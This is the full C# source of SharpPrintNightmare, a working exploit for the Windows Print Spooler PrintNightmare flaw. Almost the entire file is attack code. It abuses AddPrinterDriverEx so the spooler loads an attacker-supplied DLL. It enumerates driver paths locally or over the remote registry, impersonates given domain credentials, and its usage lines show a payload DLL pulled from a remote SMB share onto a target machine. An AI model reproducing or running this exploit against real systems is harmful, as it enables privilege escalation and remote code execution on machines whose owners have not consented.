using Microsoft.Win32; using System; using System.Collections.Generic; using System.ComponentModel; using System.IO; using System.Linq; using System.Runtime.InteropServices; using Tools; namespace SharpPrintNightmare { class Program { [DllImport("kernel32.dll")] static extern uint GetLastError(); [DllImport("winspool.drv", CharSet = CharSet.Auto, SetLastError = true)] public static extern bool AddPrinterDriverEx([Optional] string pName, uint Level, [In, Out] IntPtr pDriverInfo, uint dwFileCopyFlags); //https://www.pinvoke.net/default.aspx/winspool/EnumPrinterDrivers.html [DllImport("winspool.drv", CharSet = CharSet.Auto, SetLastError = true)] static extern bool EnumPrinterDrivers(String pName, String pEnvironment, uint level, IntPtr pDriverInfo, uint cdBuf, ref uint pcbNeeded, ref uint pcRetruned); public struct DRIVER_INFO_2 { public uint cVersion; [MarshalAs(UnmanagedType.LPTStr)] public string pName; [MarshalAs(UnmanagedType.LPTStr)] public string pEnvironment; [MarshalAs(UnmanagedType.LPTStr)] public string pDriverPath; [MarshalAs(UnmanagedType.LPTStr)] public string pDataFile; [MarshalAs(UnmanagedType.LPTStr)] public string pConfigFile; } // 3.1.4.4.8 RpcAddPrinterDriverEx Values public static uint APD_STRICT_UPGRADE = 0x00000001; public static uint APD_STRICT_DOWNGRADE = 0x00000002; public static uint APD_COPY_ALL_FILES = 0x00000004; public static uint APD_COPY_NEW_FILES = 0x00000008; public static uint APD_COPY_FROM_DIRECTORY = 0x00000010; public static uint APD_DONT_COPY_FILES_TO_CLUSTER = 0x00001000; public static uint APD_COPY_TO_ALL_SPOOLERS = 0x00002000; public static uint APD_INSTALL_WARNED_DRIVER = 0x00008000; public static uint APD_RETURN_BLOCKING_STATUS_CODE = 0x00010000; static void Main(string[] args) { string dllpath; string computername = null; string pDriverPath = null; //network credentials wont be used for LPE string domain = "NeverGonnaGiveYouUp"; string user = "NeverGonnaLetYouDown"; string password = "NeverGonnaRunAroundAndDesertYou"; if (args == null || args.Length == 0) { Console.WriteLine("-Locally"); Console.WriteLine(" .\\SharpPrintNightmare.exe C:\\addCube.dll"); Console.WriteLine("-Remote using current context"); Console.WriteLine(" .\\SharpPrintNightmare.exe '\\\\192.168.1.215\\smb\\addCube.dll' '\\\\192.168.1.20'"); Console.WriteLine("-Remote using runas"); Console.WriteLine(" .\\SharpPrintNightmare.exe '\\\\192.168.1.215\\smb\\addCube.dll' '\\\\192.168.1.20' hackit.local domain_user Pass123"); Environment.Exit(0); } dllpath = args[0]; if (args.Length > 2) { domain = args[2]; user = args[3]; password = args[4]; } //runas /netonly using (new Impersonator.Impersonation(domain, user, password)) { if (args.Length > 1 && args.Length <= 5) { //Find remote drivers computername = args[1]; List drivers = getDrivers(computername); pDriverPath = Path.GetDirectoryName(drivers[0]) + "\\Amd64\\UNIDRV.DLL"; if (string.IsNullOrEmpty(pDriverPath)) { Console.WriteLine($"[-] Specify pDriverPath manually"); Environment.Exit(1); } } //if OpenRemoteBaseKey fails else if (args.Length > 5) { pDriverPath = args[5]; } else //Find local driver { DRIVER_INFO_2[] drivers = getDrivers(); foreach (DRIVER_INFO_2 driver in drivers) { //Console.WriteLine(driver.pDriverPath); //debugcd if (driver.pDriverPath.ToLower().Contains("filerepository")) { pDriverPath = driver.pDriverPath; break; } } //could not find driver path if (string.IsNullOrEmpty(pDriverPath)) { Console.WriteLine($"[-] pDriverPath {drivers[0].pDriverPath}, expected :\\Windows\\System32\\DriverStore\\FileRepository\\....."); Console.WriteLine($"[-] Specify pDriverPath manually"); Environment.Exit(1); } } Console.WriteLine($"[*] pDriverPath {pDriverPath}"); Console.WriteLine($"[*] Executing {dllpath}"); Console.WriteLine("[*] Try 1..."); addPrinter(dllpath, pDriverPath, computername); Console.WriteLine("[*] Try 2..."); addPrinter(dllpath, pDriverPath, computername); Console.WriteLine("[*] Try 3..."); addPrinter(dllpath, pDriverPath, computername); } } static void addPrinter(string dllpath, string pDriverPath, string computername) { //pDriverPath = "C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL"; // 2019 debug //pDriverPath = "C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_addb31f9bff9e936\\Amd64\\UNIDRV.DLL"; // 2016 debug DRIVER_INFO_2 Level2 = new DRIVER_INFO_2(); Level2.cVersion = 3; Level2.pConfigFile = "C:\\Windows\\System32\\winhttp.dll"; //replace kernelbase with winhttp Level2.pDataFile = dllpath; Level2.pDriverPath = pDriverPath; Level2.pEnvironment = "Windows x64"; Level2.pName = "12345"; string filename = Path.GetFileName(dllpath); uint flags = APD_COPY_ALL_FILES | 0x10 | 0x8000; //convert struct to unmanage code IntPtr pnt = Marshal.AllocHGlobal(Marshal.SizeOf(Level2)); Marshal.StructureToPtr(Level2, pnt, false); //call AddPrinterDriverEx AddPrinterDriverEx(computername, 2, pnt, flags); Console.WriteLine("[*] Stage 0: " + Marshal.GetLastWin32Error()); Marshal.FreeHGlobal(pnt); //Dont ask me why this works Level2.pConfigFile = "C:\\Windows\\System32\\kernelbase.dll"; for (int i = 1; i <= 30; i++) { //add path to our exploit Level2.pConfigFile = $"C:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\{i}\\{filename}"; //convert struct to unmanage code IntPtr pnt2 = Marshal.AllocHGlobal(Marshal.SizeOf(Level2)); Marshal.StructureToPtr(Level2, pnt2, false); //call AddPrinterDriverEx AddPrinterDriverEx(computername, 2, pnt2, flags); int errorcode = Marshal.GetLastWin32Error(); Marshal.FreeHGlobal(pnt2); if (errorcode == 0) { Console.WriteLine($"[*] Stage {i}: " + errorcode); Console.WriteLine($"[+] Exploit Completed"); Environment.Exit(0); } } } static List getDrivers(string computername) { computername = computername.Trim('\\'); string driverpath = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Print\\PackageInstallation\\Windows x64\\DriverPackages"; List drivers = new List(); try { RegistryKey environmentKey = RegistryKey.OpenRemoteBaseKey(RegistryHive.LocalMachine, computername); foreach (string subKeyName in environmentKey.OpenSubKey(driverpath).GetSubKeyNames().Where(item => item.Contains("ntprint.inf_amd64"))) { string path; //Console.WriteLine(subKeyName); path = (string)environmentKey.OpenSubKey(driverpath + "\\" + subKeyName).GetValue("DriverStorePath"); //Console.WriteLine(path); if (!String.IsNullOrEmpty(path)) { drivers.Add(path); } } environmentKey.Close(); } catch { Console.WriteLine("[-] Failed to enumerate printer drivers"); Environment.Exit(1); } return drivers; } static DRIVER_INFO_2[] getDrivers() { uint cbNeeded = 0; uint cReturned = 0; if (EnumPrinterDrivers(null, "Windows x64", 2, IntPtr.Zero, 0, ref cbNeeded, ref cReturned)) { //succeeds, but shouldn't, because buffer is zero (too small)! throw new Exception("EnumPrinters should fail!"); } int lastWin32Error = Marshal.GetLastWin32Error(); //ERROR_INSUFFICIENT_BUFFER = 122 expected, if not -> Exception if (lastWin32Error != 122) { throw new Win32Exception(lastWin32Error); } IntPtr pAddr = Marshal.AllocHGlobal((int)cbNeeded); if (EnumPrinterDrivers(null, "Windows x64", 2, pAddr, cbNeeded, ref cbNeeded, ref cReturned)) { DRIVER_INFO_2[] printerInfo2 = new DRIVER_INFO_2[cReturned]; long offset; offset = pAddr.ToInt64(); Type type = typeof(DRIVER_INFO_2); int increment = Marshal.SizeOf(type); for (int i = 0; i < cReturned; i++) { printerInfo2[i] = (DRIVER_INFO_2)Marshal.PtrToStructure(new IntPtr(offset), type); offset += increment; } Marshal.FreeHGlobal(pAddr); return printerInfo2; } throw new Win32Exception(Marshal.GetLastWin32Error()); } } }